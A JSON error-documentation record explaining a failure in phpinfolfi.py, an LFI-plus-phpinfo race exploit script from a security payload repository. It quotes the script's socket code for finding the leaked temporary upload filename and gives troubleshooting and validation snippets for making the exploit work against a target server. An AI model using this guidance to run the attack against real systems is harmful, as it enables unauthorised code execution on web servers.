{"record":{"id":"c6b5906f9e130250","repo":"swisskyrepo/PayloadsAllTheThings","slug":"no-php-tmp-name-in-phpinfo-output","errorCode":null,"errorMessage":"No php tmp_name in phpinfo output","messagePattern":"No php tmp_name in phpinfo output","errorType":"exception","errorClass":"ValueError","httpStatus":null,"severity":"error","filePath":"File Inclusion/Files/phpinfolfi.py","lineNumber":119,"sourceCode":"    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    s.connect((host,port))\n    s.send(phpinforeq)\n\n    d = \"\"\n    while True:\n        i = s.recv(4096)\n        d+=i\n        if i == \"\":\n            break\n        # detect the final chunk\n        if i.endswith(\"0\\r\\n\\r\\n\"):\n            break\n    s.close()\n    i = d.find(\"[tmp_name] =>\")\n    if i == -1:\n        i = d.find(\"[tmp_name] =&gt;\")\n    if i == -1:\n        raise ValueError(\"No php tmp_name in phpinfo output\")\n\n    print(\"found %s at %i\" % (d[i:i+10],i))\n    # padded up a bit\n    return i+256\n\ndef main():\n\n    print(\"LFI With PHPInfo()\")\n    print(\"-=\" * 30)\n\n    if len(sys.argv) < 2:\n        print(\"Usage: %s host [port] [threads]\" % sys.argv[0])\n        sys.exit(1)\n\n    try:\n        host = socket.gethostbyname(sys.argv[1])\n    except socket.error as e:\n        print(\"Error with hostname %s: %s\" % (sys.argv[1], e))","sourceCodeStart":101,"sourceCodeEnd":137,"githubUrl":"https://github.com/swisskyrepo/PayloadsAllTheThings/blob/3bff425aca2b020f7334f9d744eed3ca55de8cdf/File Inclusion/Files/phpinfolfi.py#L101-L137","documentation":"Raised by getOffset() in phpinfolfi.py after it fetches the target's phpinfo page over a raw socket and cannot find the string '[tmp_name] =>' (or its HTML-escaped variant '[tmp_name] =&gt;') anywhere in the accumulated response body d. The tmp_name entry in phpinfo output is the core primitive of this LFI+PHPInfo race exploit: it leaks the random /tmp/phpXXXXXX filename of the just-uploaded POST file, which the script then includes via the LFI. No tmp_name means the exploit cannot compute the offset (marker position + 256 bytes of padding) and the run aborts.","triggerScenarios":"Calling the script against a host/port where the phpinfo() page is not served at the expected path or the target is not running PHP; the URL in phpinforeq returns an error page (404/403/redirect) instead of phpinfo output; the response is gzip/deflate-encoded so '[tmp_name] =>' never appears in plain text; the chunked-encoding termination heuristic (chunk ending with '0\\r\\n\\r\\n') never matches because the response is not chunked or the final recv splits the terminator, leaving d truncated before the $_FILES section; a proxy or WAF strips or alters the page.","commonSituations":"Pointing the tool at a modern PHP app where phpinfo.php was removed or never deployed; target behind a reverse proxy (nginx with gzip on) so the body is compressed; target served over HTTPS while the script speaks plain HTTP to that port; ISP/proxy HTML-escaping the payload so only the '&gt;' variant exists and that variant is also mangled; PHP versions/configs where file_uploads=Off, so phpinfo contains no tmp_name row for the multipart POST.","solutions":["Verify manually that the phpinfo URL works: curl -s --compressed -F 'x=@file' http://HOST/phpinfo.php | grep tmp_name — if empty, fix the URL/path baked into phpinforeq or re-enable file_uploads on the target.","Confirm the target actually runs PHP and that the request in phpinforeq (host header, path, Content-Type multipart/form-data) matches the live server; adjust the request template in the script.","If the response is gzip-encoded, strip/adjust the Accept-Encoding header in phpinforeq (send 'Identity' or remove gzip) so '[tmp_name] =>' appears verbatim.","Harden the read loop: recv until the connection closes (i == '') instead of relying solely on the '0\\r\\n\\r\\n' chunked terminator, so a split final chunk cannot truncate d before the marker.","Catch the ValueError per attempt in ThreadWorker and retry until maxattempts, since a slow phpinfo response can transientally miss the marker."],"exampleFix":"# before\n    i = d.find(\"[tmp_name] =>\")\n    if i == -1:\n        i = d.find(\"[tmp_name] =&gt;\")\n    if i == -1:\n        raise ValueError(\"No php tmp_name in phpinfo output\")\n\n# after\n    i = d.find(\"[tmp_name] =>\")\n    if i == -1:\n        i = d.find(\"[tmp_name] =&gt;\")\n    if i == -1:\n        raise ValueError(\"No php tmp_name in phpinfo output (check phpinfo URL, \"\n                         \"file_uploads=On, and that response is not gzip-encoded)\")","handlingStrategy":"validation","validationCode":"# Verify the phpinfo endpoint leaks tmp_name for a multipart POST before running the race\nimport urllib2  # py2\nreq = urllib2.Request('http://%s:%s/phpinfo.php' % (HOST, PORT),\n                      data='-----------------------------x\\r\\nContent-Disposition: form-data; name=\"x\"; filename=\"x\"\\r\\n\\r\\nx\\r\\n-----------------------------x--\\r\\n',\n                      headers={'Content-Type': 'multipart/form-data; boundary=---------------------------x'})\nbody = urllib2.urlopen(req).read()\nif '[tmp_name] =>' not in body and '[tmp_name] =&gt;' not in body:\n    raise SystemExit('phpinfo does not leak tmp_name; check URL, file_uploads, and encoding')","typeGuard":"def phpinfo_leaks_tmp_name(host, port, phpinforeq):\n    \"\"\"Returns True only when the phpinfo response contains a tmp_name marker.\"\"\"\n    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    s.settimeout(10)\n    s.connect((host, port))\n    s.send(phpinforeq)\n    d = ''\n    while True:\n        i = s.recv(4096)\n        if i == '':\n            break\n        d += i\n        if i.endswith('0\\r\\n\\r\\n'):\n            break\n    s.close()\n    return ('[tmp_name] =>' in d) or ('[tmp_name] =&gt;' in d)","tryCatchPattern":"try:\n    offset = getOffset(host, port, phpinforeq)\nexcept ValueError as e:\n    print('[-] %s — confirm the phpinfo URL is reachable, file_uploads=On, '\n          'and the response is not gzip-encoded' % e)\n    sys.exit(1)","preventionTips":["Confirm with curl --compressed -F that phpinfo echoes a tmp_name row before launching the script.","Send Accept-Encoding: Identity in phpinforeq so the marker stays plain-text.","Read until socket close rather than trusting only the '0\\r\\n\\r\\n' chunked terminator to avoid truncated bodies.","Ensure file_uploads=On and the target really runs PHP at the URL baked into the request template."],"tags":["php","lfi","phpinfo","network","raw-socket","security","python2"],"backgroundTag":null,"analyzedSha":"3bff425aca2b020f7334f9d744eed3ca55de8cdf","analyzedAt":"2026-08-14T19:57:51.590Z","schemaVersion":2},"datasetVersion":"2026-08-15T22:17:37.221Z"}